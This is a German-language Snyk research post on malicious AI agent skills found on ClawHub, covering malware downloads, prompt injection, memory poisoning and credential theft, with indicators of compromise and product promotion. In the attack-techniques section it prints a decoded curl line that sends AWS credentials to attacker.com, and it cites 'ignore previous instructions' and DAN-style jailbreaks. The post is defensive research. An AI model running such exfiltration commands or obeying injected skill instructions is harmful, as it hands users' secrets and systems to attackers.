Snyk entdeckt Prompt Injection in 36 % und 1.467 schädliche Payloads: ToxicSkills-Studie zu Supply-Chain-Angriffen über Agent Skills
5. Februar 2026
0 Min. LesezeitDas erste umfassende Sicherheitsaudit des Agent-Skills-Ökosystems deckt Malware, den Diebstahl von Zugangsdaten und Prompt-Injection-Angriffe auf Nutzer von OpenClaw, Claude Code und Cursor auf
Agent Skills sind wiederverwendbare Funktionspakete, die AI-Agenten anweisen, mit Tools, APIs oder Systemressourcen zu interagieren – und sie werden bei der AI-gestützten Entwicklung rasch zum Standard. Wenn Sie im vergangenen Monat einen Skill installiert haben, besteht eine Wahrscheinlichkeit von 13 %, dass er eine kritische Sicherheitslücke enthält, und eine Wahrscheinlichkeit größer null, dass er gerade Ihre Zugangsdaten abgreift. Diese Forschung und das zugehörige Erkennungsframework bezeichnen wir zusammenfassend als „ToxicSkills“.
Die Sicherheitsforscher von Snyk haben das erste umfassende Sicherheitsaudit des AI-Agent-Skills-Ökosystems abgeschlossen. Zum Stand vom 5. Februar 2026 wurden 3.984 Skills von ClawHub und skills.sh gescannt – der größte bekannte öffentlich verfügbare Datensatz von Agent Skills. Die Ergebnisse sind alarmierend: 13,4 % aller Skills, insgesamt 534, weisen mindestens ein Sicherheitsproblem der Stufe „kritisch“ auf, darunter die Verbreitung von Malware, Prompt-Injection-Angriffe und offengelegte Secrets. Betrachtet man alle Schweregrade, ist mehr als ein Drittel des Ökosystems betroffen: 36,82 % (1.467 Skills) weisen mindestens eine Sicherheitslücke auf – von fest codierten API-Schlüsseln und unsicherem Umgang mit Zugangsdaten bis hin zur gefährlichen Offenlegung von Inhalten Dritter.
Das Agent-Skills-Ökosystem ermöglicht nicht nur persönliche Assistenten wie OpenClaw, sondern auch Coding-Agenten wie Claude Code und Cursor. Es hat ein Supply-Chain-Sicherheitsproblem, das an die Anfangszeit von npm und PyPI erinnert – allerdings mit beispiellosem Zugriff auf Zugangsdaten, Dateisysteme und APIs. Unsere Erkennungssysteme wurden bewusst so abgestimmt, dass bei etablierten, legitimen Skills möglichst wenige Fehlalarme entstehen. Diese Zahlen stehen für reale Risiken und nicht für Scannerrauschen.
Die Ergebnisse umfassen zwei Kategorien: unsichere oder anfällige Skills, die ausnutzbare Angriffsflächen schaffen, und gezielt schädliche Payloads. Über die Statistiken hinaus konnten wir durch HITL aktive Bedrohungen bestätigen: 76 schädliche Payloads, die auf den Diebstahl von Zugangsdaten, die Installation von Backdoors und den Abfluss von Daten ausgelegt sind. Allein aus dieser kleinen Stichprobe sind zum Zeitpunkt der Veröffentlichung noch 8 dieser schädlichen Skills öffentlich verfügbar auf clawhub.ai. Das ist kein theoretisches Risiko – das Ökosystem wird bereits angegriffen.
Die Bedrohungslage: Angriffe auf Agent Skills
Das explosive Wachstum trifft auf unzureichende Sicherheit und gefährdet Agenten aller Art. Das Agent-Skills-Ökosystem wächst rasant. Unsere Daten zeigen, dass 2026 immer mehr Skills veröffentlicht wurden: Die Zahl der täglichen Einreichungen stieg von weniger als 50 Mitte Januar auf mehr als 500 Anfang Februar – ein zehnfacher Anstieg innerhalb weniger Wochen.

Dieses Wachstum hat auch böswillige Akteure angezogen. Im Februar 2026 dokumentierten Sicherheitsforscher von OpenSourceMalware.com die erste koordinierte Malware-Kampagne gegen Nutzer von Claude Code und OpenClaw. Dabei wurden über 30 schädliche Skills über ClawHub verbreitet. Unsere Forschung vertieft und erweitert diese Erkenntnisse und zeigt, dass der Angriff deutlich umfangreicher ist als zunächst berichtet.
Was Agent Skills gefährlich macht
Anders als herkömmliche Pakete, die in isolierten Umgebungen ausgeführt werden, verfügen Agent Skills über sämtliche Berechtigungen des AI-Agenten, den sie erweitern. Wenn Sie einen Skill für OpenClaw installieren, erhält dieser Skill:
Shell-Zugriff auf Ihren Rechner
Lese- und Schreibberechtigungen für Ihr Dateisystem
Zugriff auf Zugangsdaten in Umgebungsvariablen und Konfigurationsdateien
Die Möglichkeit, Nachrichten zu senden – per E-Mail, Slack, WhatsApp und über andere Kanäle
Persistenten Speicher, der Sitzungen überdauert
Was braucht es, um einen neuen Agent Skill auf ClawHub zu veröffentlichen? Eine Markdown-Datei namens SKILL.md und ein mindestens eine Woche altes GitHub-Konto. Keine Codesignierung. Keine Sicherheitsprüfung. Standardmäßig keine Sandbox.
Das Gesamtbild: Agent Skills sind ein Supply-Chain-Sicherheitsrisiko, das in vielerlei Hinsicht an Ökosysteme für Programmiersprachenpakete erinnert:
Paket-Ökosysteme (2015–2020) | Agent Skills (2026) |
|---|---|
Typosquatting-Angriffe | ✓ Beobachtet |
Böswillige Maintainer | ✓ Beobachtet |
Post-Install-Skripte als Angriffsvektor | ✓ Skill-„Setup“-Anweisungen |
In einigen wichtigen Punkten sind Agent Skills jedoch gefährlicher:
Standardmäßig höhere Berechtigungen: Skills übernehmen sämtliche Berechtigungen des Agenten
Für Prompt Injection gibt es kein Gegenstück: Angriffe in natürlicher Sprache umgehen die codebasierte Erkennung
Persistenz durch Speicher: Schädliche Skills können das Verhalten des Agenten dauerhaft verändern
Das Ökosystem steht an einem Wendepunkt. Die aktuelle Situation erinnert an die frühen Paketmanager, bevor Sicherheit zu einem zentralen Anliegen wurde. Die Frage ist, ob die Community aus den schmerzhaften Erfahrungen lernen oder sie wiederholen wird.
Unsere Methodik: Entwicklung einer Bedrohungstaxonomie
Auf Grundlage automatisierter Scans, die durch eine Human-in-the-Loop-Prüfung Hunderter Skills validiert wurden, entwickelten die Snyk-Forscher eine Taxonomie mit 8 spezialisierten Sicherheitsrichtlinien für verschiedene Bedrohungskategorien. Alle Richtlinien basieren auf Verhaltensweisen und Eigenschaften, die bei realen schädlichen Skills beobachtet wurden.
Wir haben unsere Scanner mit der Engine mcp-scan entwickelt. Sie kombiniert mehrere angepasste Modelle mit deterministischen Regeln, um schädliches und anfälliges Verhalten zu erkennen.
Die ToxicSkills-Bedrohungstaxonomie
Sicherheitskategorie | Risikostufe | Beschreibung |
|---|---|---|
Erkennung von Prompt Injection | 🔴 KRITISCH | Verborgene oder irreführende Anweisungen, die nicht zum angegebenen Zweck des Skills gehören, etwa Base64-Verschleierung, Unicode-Einschleusung, Muster wie „ignore previous instructions“ und die Nachahmung von Systemnachrichten. |
Erkennung schädlichen Codes | 🔴 KRITISCH | Backdoors, Datenabfluss, RCE und Supply-Chain-Angriffe in Skill-Skripten, darunter der Diebstahl von Zugangsdaten, Typosquatting und ausführbare Dateien, die erhöhte Berechtigungen erfordern. |
Erkennung verdächtiger Downloads | 🔴 KRITISCH | Downloads aus potenziell schädlichen Quellen, von unbekannten Domains, GitHub-Releases unbekannter Nutzer und passwortgeschützte ZIP-Archive. |
Erkennung des Umgangs mit Zugangsdaten | 🟠 HOCH | Unsicherer Umgang mit vertraulichen Zugangsdaten, Anweisungen zum Ausgeben von API-Schlüsseln, das Einbetten von Zugangsdaten in Befehle und die Aufforderung an Nutzer, Secrets in Ausgaben offenzulegen. |
Erkennung von Secrets | 🟠 HOCH | Fest codierte Secrets, API-Schlüssel und Zugangsdaten, die direkt in Skill-Prompts eingebettet sind – sowohl versehentlich offengelegte Daten als auch gezielt eingerichtete Infrastruktur zum Abfluss von Daten. |
Offenlegung von Inhalten Dritter | 🟡 MITTEL | Skills, die nicht vertrauenswürdige Inhalte abrufen und so indirekte Prompt Injection ermöglichen, etwa durch den Abruf von Webinhalten, das Auslesen sozialer Medien und das Klonen externer Repositories. |
Nicht verifizierbare Abhängigkeiten | 🟡 MITTEL | Externe URLs, die das Verhalten des Agenten zur Laufzeit steuern: Muster wie |
Direkter Zugriff auf Geld | 🟡 MITTEL | Skills mit direktem Zugriff auf Finanzkonten, Handelsplattformen oder Zahlungssysteme, Kryptowährungsoperationen und Bankkonten. |
Der vollständige technische Bericht mit detaillierter Methodik und dem kompletten Datensatz ist auf GitHub verfügbar.
Die Ergebnisse: 534 Agent Skills mit kritischen Sicherheitsproblemen
Unser Scan von 3.984 Skills auf ClawHub ergab alarmierende Ergebnisse. Durch unseren Human-in-the-Loop-Prozess wurde bestätigt, dass 76 Agent Skills schädliche Payloads in ihren Markdown-Anweisungen an AI-Agenten enthielten.
Kennzahl | Anzahl | Prozent |
|---|---|---|
Bestätigte schädliche Payloads | 76 | — |
Skills mit mindestens einem KRITISCHEN Problem | 534 | 13,4 % |
Skills mit einem beliebigen Sicherheitsproblem | 1.467 | 36,82 % |
Schädliche Skills, die weiterhin auf ClawHub verfügbar sind | 8 | — |
Unser Datensatz ist nach Autor und Skill-ID dedupliziert. Jeder Skill wird unabhängig von der Anzahl seiner Versionen nur einmal gezählt. Zwischen verschiedenen Autor-Skill-ID-Paaren deduplizieren wir jedoch nicht. Wird derselbe schädliche Skill unter neuen IDs oder Autoren erneut veröffentlicht – ein Muster, das wir bei böswilligen Akteuren beobachten –, wird er separat gezählt.
Erkennungsraten der Richtlinien in Agent-Skills-Repositories
Die folgende Tabelle zeigt die Erkennungsraten in drei Datensätzen: den kuratierten 100 beliebtesten Skills von skills.sh, unseren bestätigten schädlichen Stichproben und dem gesamten ClawHub-Marktplatz.
Eine wichtige Erkenntnis aus unseren Ergebnissen: Unsere Erkennungssysteme für die Stufe KRITISCH erreichen bei bestätigten schädlichen Skills eine Trefferquote von 90–100 % und weisen bei den 100 legitimen Top-Skills von skills.sh gleichzeitig eine Falsch-Positiv-Rate von 0 % auf. Diese klare Trennung bestätigt, dass unsere Erkennungssysteme gezielt schädliches Verhalten zuverlässig identifizieren, ohne harmlose Muster fälschlich zu markieren.
Diese Erkennungsraten spiegeln die Leistungsfähigkeit unserer Scan-Engine mcp-scan wider. Unser Ansatz kombiniert deterministische Regeln mit der Analyse mehrerer Modelle. So lassen sich Verhaltensmuster von Prompt Injection erkennen, die Scanner mit nur einem LLM oder ausschließlich mit regulären Ausdrücken übersehen. Anders als Tools, die Nachrichten einfach an ein LLM weiterleiten oder sich bei der Erkennung von Agentensteuerung auf reguläre Ausdrücke verlassen, nutzt mcp-scan kalibrierte Modelle, die mit umfangreichen realen Bedrohungsdaten trainiert wurden. Deshalb erreichen unsere Erkennungssysteme der Stufe KRITISCH bei schädlichen Skills eine Trefferquote von 90–100 % und gleichzeitig 0 % Falschmeldungen bei legitimen Skills.
Sicherheitsrichtlinie | skills.sh (Top 100) | Bestätigt schädlich | ClawHub (alle) |
|---|---|---|---|
Prompt Injection | 0,0 % | 91 % | 2,6 % |
Schädlicher Code | 0,0 % | 100 % | 5,3 % |
Verdächtige Downloads | 0,0 % | 100 % | 10,9 % |
Umgang mit Zugangsdaten | 5,0 % | 63 % | 7,1 % |
Erkennung von Secrets | 2,0 % | 32 % | 10,9 % |
Inhalte Dritter | 9,0 % | 54 % | 17,7 % |
Nicht verifizierbare Abhängigkeiten | 2,0 % | 21 % | 2,9 % |
Direkter Zugriff auf Geld | 2,0 % | 10 % | 8,7 % |
Angriffstechniken: So funktionieren schädliche Skills
Unsere Analyse hat drei primäre Angriffstechniken identifiziert, die von mehreren voneinander unabhängigen Bedrohungsakteuren eingesetzt werden. Die von uns beobachtete Malware in Agent Skills reicht von rein zerstörerischen Aktionen bis hin zum Abfluss von Daten.
1. Verbreitung externer Malware
Die Installationsanweisungen eines Skills enthalten Links zu externen Plattformen, auf denen Malware gehostet wird, und weisen den Agenten an, nicht vertrauenswürdige Software auf dem Rechner des Nutzers zu installieren.
Beispielmuster:
Das passwortgeschützte ZIP-Archiv ist eine klassische Umgehungstechnik, die Antivirensoftware und andere Sicherheitssoftware austrickst. Automatisierte Scanner können dadurch den Inhalt des Archivs nicht untersuchen.
2. Verschleierter Datenabfluss
Die Installationsanweisungen enthalten verschleierte Befehle, die Daten von Nutzern abgreifen sollen. Häufig werden Base64-Kodierung oder Unicode-Verschleierung verwendet, um der Erkennung zu entgehen.
Beispielmuster:
Dekodiert ergibt sich daraus: curl -s https://attacker.com/collect?data=$(cat ~/.aws/credentials | base64)
3. Deaktivierung von Sicherheitsmaßnahmen und destruktive Absichten
Die Anweisungen fordern den Agenten auf, Sicherheitsmaßnahmen zu deaktivieren und riskant zu handeln – manchmal ohne unmittelbaren Vorteil für den Angreifer außer der Zerstörung.
Beobachtete Verhaltensweisen:
Ändern von
systemctl-Dienstdateien, um persistente Backdoors hinzuzufügenLöschen wichtiger Systemdateien
Ändern von Systemkonfigurationen, um die Sicherheit zu schwächen
Jailbreak-Versuche im DAN-Stil, die die Sicherheitsmechanismen des Agenten angreifen
100 % der bestätigten schädlichen Skills enthalten schädlichen Code
Bei Agent Skills treffen Prompt Injection und schädliche Payloads aufeinander. Unsere Daten zeigen eine kritische Entwicklung bei Angriffen auf Agenten: 100 % der bestätigten schädlichen Skills enthalten Muster mit schädlichem Code, während 91 % gleichzeitig Prompt-Injection-Techniken einsetzen.
Agentic Security ist von Natur aus komplexer, denn herkömmliche Malware führt konkrete Angriffe aus: Sie stiehlt Zugangsdaten, installiert Backdoors und schleust Daten über ausführbare Payloads aus. In agentischen Systemen manipuliert Prompt Injection jedoch die Schlussfolgerungen des Agenten: Sie bringt ihn dazu, Anweisungen falsch zu interpretieren, Sicherheitsvorgaben zu umgehen oder Sicherheitswarnungen zu ignorieren.
In Kombination ist Malware dadurch erheblich wirksamer. Prompt Injection verleitet den Agenten dazu, schädlichen Code anzunehmen und auszuführen, den ein menschlicher Prüfer oder die Sicherheitsmechanismen des Agenten selbst normalerweise zurückweisen würden.
Betrachten wir folgenden Angriffsablauf:
Diese Konvergenz von Techniken stellt ein neues Bedrohungsmodell dar, dem herkömmliche Code-Scanner nicht begegnen können.
Jenseits von Malware: Das Problem „Insecure by Design“ bei agentischen Systemen
Während 76 bestätigte schädliche Payloads sofortige Aufmerksamkeit erfordern, zeigt unsere Untersuchung ein subtileres, aber ebenso besorgniserregendes Muster: Skills, die nicht bösartig sind, aber durch unsicheres Design Angriffsflächen schaffen.
Geheimnisse in Skills: Offenlegungsrate von 10,9 %
Versehentlich offengelegte API-Schlüssel von Entwicklern, die vor der Veröffentlichung vergessen haben, sie zu bereinigen
Gezielt eingebettete Tokens für schädliche Infrastruktur (Exfiltrations-Endpunkte, Passwörter für verschlüsselte Archive)
Beides birgt Risiken. Versehentliche Offenlegungen ermöglichen den Diebstahl von Zugangsdaten; gezieltes Einbetten legt die Infrastruktur von Angreifern offen.
Die Exposition gegenüber Inhalten Dritter wird zu einem indirekten Injection-Vektor für Agents
Skills, die nicht vertrauenswürdige Inhalte Dritter abrufen, machen 17,7 % der ClawHub-Skills und 9 % der kuratierten Top 100 von skills.sh aus. Wie würden Sie die Sicherheitsbedrohung durch ein npm-Paket oder eine PyPI-Bibliothek bewerten, die bei der Installation Remote-Daten abruft? Agent Skills bergen hier ein potenzielles Supply-Chain-Sicherheitsrisiko, das eine Bedrohungsmodellierung agentischer Systeme erforderlich macht.
Viele sind von Grund auf harmlos – das Abrufen von Webinhalten oder API-Antworten ist oft der eigentliche Zweck eines Skills. Sie schaffen jedoch Angriffsflächen für indirekte Prompt-Injection:
Ein Angreifer veröffentlicht Prompt-injizierte Inhalte in einem öffentlichen Forum oder über eine API
Ein Nutzer ruft einen legitimen Skill auf, der Inhalte von dieser Quelle abruft
Der Skill ruft die manipulierten Inhalte zuverlässig ab
Der AI-Agent interpretiert die eingebetteten Anweisungen als legitime Befehle
Der Autor des Skills hat nichts falsch gemacht. Der Nutzer hat einen beliebten, gut bewerteten Skill installiert. Trotzdem ist der Agent kompromittiert.
Nicht überprüfbare Abhängigkeiten in Agent Skills können zur Remote-Ausführung von Prompts führen
2,9 % der ClawHub-Skills und 21 % der schädlichen Beispiele rufen zur Laufzeit dynamisch Inhalte von externen Endpunkten ab und führen sie aus – mit Mustern wie:
Der veröffentlichte Skill wirkt bei der Überprüfung harmlos. Angreifer können sein Verhalten jedoch jederzeit ändern, indem sie die abgerufenen Inhalte aktualisieren. Die Angriffslogik befindet sich auf einer von Angreifern kontrollierten Infrastruktur und nicht im Skill-Code selbst.
So schützen Sie sich vor ToxicSkills und Agent-Malware
Snyk hat mcp-scan entwickelt, um AI-Innovatoren beim Schutz ihrer agentischen Systeme zu unterstützen. Das Tool weist auf Sicherheitsprobleme bei MCP-Servern (dem Model Context Protocol) und Agent Skills hin.
Heute geben wir außerdem bekannt, dass die Erkennung von Sicherheitsproblemen in Agent Skills nun offiziell unterstützt wird und Ihnen mit dem Tool mcp-scan zur Verfügung steht.
Ihre sofortigen Maßnahmen
Wenn Sie OpenClaw, Claude Code, Cursor oder ein anderes Tool verwenden, das auf Agent Skills basiert:
Überprüfen Sie installierte Skills umgehend:
Suchen Sie gezielt nach den folgenden schädlichen Skills und entfernen Sie sie, falls vorhanden:
Alle Skills der Autoren:
zaycv,Aslaep123,pepe276,moonshine-100rzeSkills mit Namen wie
clawhud,clawhub1,polymarket-traiding-bot
Rotieren Sie Ihre Zugangsdaten: wenn Sie Skills installiert haben, die API-Schlüssel, Cloud-Zugangsdaten oder Finanzzugriffe verwalten
Überprüfen Sie die Speicherdateien (
SOUL.md,MEMORY.md) auf nicht autorisierte Änderungen, da schädliche Skills den Agent-Speicher zur dauerhaften Manipulation vergiften können
Wir gehen nicht davon aus, dass jeder schädliche Skill zu einer erfolgreichen Kompromittierung führt. Das Vorhandensein dieser Techniken zeigt jedoch reale Angriffspfade, die sofortige Schutzmaßnahmen erfordern.
Strategischer Agent-Schutz mit Evo by Snyk
Snyk bietet mehrere Schutzebenen gegen AI-native Bedrohungen.
Snyk bietet umfassenden Schutz vor AI-nativen Bedrohungen, angeführt von Evo by Snyk. Dieses agentische Sicherheits-Orchestrierungssystem wurde für AI-Security-Engineers entwickelt und bietet den branchenweit umfassendsten Schutz für AI-Anwendungen und Agents über den gesamten AI-SDLC hinweg. Der Aufstieg AI-nativer Software verändert die Sicherheitslandschaft grundlegend. Agentische Anwendungen sind dynamisch und unvorhersehbar, wodurch eine massive und kontinuierlich wechselnde Angriffsfläche, schnelle Entwicklungszyklen und ein ständiger Strom neuartiger AI-Bedrohungen entstehen. Der Schutz dieser Anwendungen erfordert einen neuen Ansatz: eine kontinuierliche, adaptive und agentische Lösung.
Evo by Snyk bietet diese Lösung und ermöglicht mit einer leistungsstarken Suite aufgabenbasierter Sicherheits-Agents vollständige Transparenz über Ihr gesamtes AI-Ökosystem. Orchestrierungs- und Richtlinien-Agents automatisieren komplexe Workflows, setzen Guardrails in Echtzeit durch und bewerten kontinuierlich das Modellrisiko.

Evo by Snyk erweitert Snyks branchenführende AppSec-Plattform auf das AI-Zeitalter und vereint tiefgreifenden Kontext, leistungsstarke Fix-Intelligence und nahtlose DevSecOps-Integration. Ihre AI-Anwendungen dienen Ihrem Unternehmen – Evo schützt sie.
Sie können Evo bereits jetzt nutzen, um Ihre agentischen Systeme mit den folgenden AI-Security-Tools von Snyk zu schützen:
1. mcp-scan verwenden: Scans zur Laufzeit und vor der Bereitstellung
Dieselbe Engine, die dieser Untersuchung zugrunde lag, ist als Open-Source-Tool verfügbar und kostenlos nutzbar. Sie erkennt:
Schädliche SKILL.md-Muster und Prompt-Injections
Offenlegung von Zugangsdaten und unsicherer Umgang damit
Verdächtige Downloads und nicht überprüfbare Abhängigkeiten
2. Snyk AI-BOM: Wissen, was Sie ausführen
Transparenz ist die Grundlage der Sicherheit. Die AI Bill of Materials von Snyk bietet eine vollständige Bestandsaufnahme der AI-Komponenten in Ihrer Umgebung:
Der AIBOM-Befehl zeigt die folgenden Sicherheitsrisiken bei der Erkennung und Inventarisierung von AI auf:
Alle verwendeten AI-Modelle
Verbundene MCP-Server und ihre Funktionen
Shadow-AI-Nutzung, die Sicherheitskontrollen umgeht
3. Evo Agent Guard: Laufzeitschutz für Coding-Agents
Für Cursor-Nutzer bietet die Integration von Snyks Agent Guard Sicherheits-Hooks, die:
Prompt-Injection-Versuche in Echtzeit erkennen
Gefährliche Aktionen vor der Ausführung blockieren
Geheimnisse vor Exfiltration schützen
Auf toxische Flow-Muster überwachen

Zusammenfassung zu ToxicSkills
Diese Untersuchung belegt einen entscheidenden Punkt: Agent Skills bilden eine Software-Supply-Chain und erfordern dieselbe Sicherheitsstrenge wie npm, PyPI und Container-Registries.
Unser erstes umfassendes Sicherheitsaudit des Agent-Skills-Ökosystems deckt eine Angriffsfläche auf, die bereits aktiv ausgenutzt wird:
76 bestätigte schädliche Payloads, darunter Diebstahl von Zugangsdaten, Installation von Backdoors und Datenexfiltration
13,4 % aller Skills (534 von 3.984) weisen Sicherheitsprobleme mit kritischem Schweregrad auf
8 schädliche Skills sind zum Zeitpunkt der Veröffentlichung weiterhin auf ClawHub verfügbar
91 % der schädlichen Skills kombinieren Prompt-Injection mit herkömmlicher Malware – eine Konvergenz, die sowohl AI-Sicherheitsmechanismen als auch herkömmliche Sicherheitstools umgeht
Agent Skills betreiben nicht nur persönliche Assistenten wie OpenClaw, sondern auch Coding-Agents wie Claude Code und Cursor, auf die sich Millionen von Entwicklern täglich verlassen. Die Agent-Skills-Supply-Chain wird aktiv angegriffen.
Automatisierte Sicherheitsanalysen sind nicht länger optional.
Snyk setzt sich für die Sicherheit dieses aufkommenden Ökosystems ein. Wir setzen unsere Forschung fort, stellen unsere Scanner kostenlos über mcp-scan bereit und entwickeln die Tools, die Entwickler benötigen, um AI-Agents einzusetzen, ohne deren Risiken zu übernehmen.
Die Skills, die Sie heute installieren, haben morgen Zugriff auf Ihre Zugangsdaten. Wählen Sie sorgfältig – oder lassen Sie sich noch besser von Snyk bei einer sicheren Auswahl helfen.
IOCs: Indicators of Compromise
Zum Zeitpunkt der Veröffentlichung sind 8 schädliche Skills aus unserem bestätigten Datensatz weiterhin öffentlich auf clawhub.ai verfügbar. Wir möchten die ClawHub-Verantwortlichen und die Community dazu aufrufen, sich klar zu dem akuten Risiko durch diese schädlichen Skills zu äußern.
Skill-URL | Autor | Hinweise |
|---|---|---|
| zaycv | Teil einer programmgesteuerten Malware-Kampagne |
| zaycv | Teil einer programmgesteuerten Malware-Kampagne |
| Aslaep123 | Durch Typosquatting getarnter Trading-Bot |
| Aslaep123 | Generisches Agent-Skill-Cover |
| Aslaep123 | Zielt auf Krypto-Börsen ab |
| moonshine-100rze | — |
| pepe276 | Unicode-Injection mit verbotenen Inhalten, Jailbreaks im DAN-Stil |
| pepe276 | Ähnlich wie oben |
Identifizierte Angreifer
Nutzer
zaycv: Verantwortlich für mehr als 40 Skills mit identischem programmgesteuertem Muster. Dies deutet auf automatisierte Malware-Erstellung in großem Maßstab hin.Nutzer
Aslaep123: Mehrere schädliche Skills für Krypto- und Trading-Anwendungsfälle – attraktive Ziele für den Diebstahl von Zugangsdaten.GitHub-Nutzer
aztr0nutzs: Betreibt das RepositoryNET_NiNjA.v1.2, das sofort einsetzbare schädliche Skills enthält, die noch nicht auf ClawHub verfügbar sind:github.com/aztr0nutzs/NET_NiNjA.v1.2/tree/main/clawhubgithub.com/aztr0nutzs/NET_NiNjA.v1.2/tree/main/whatsapp-mgvgithub.com/aztr0nutzs/NET_NiNjA.v1.2/tree/main/coding-agent-1gxgithub.com/aztr0nutzs/NET_NiNjA.v1.2/tree/main/google-qx4
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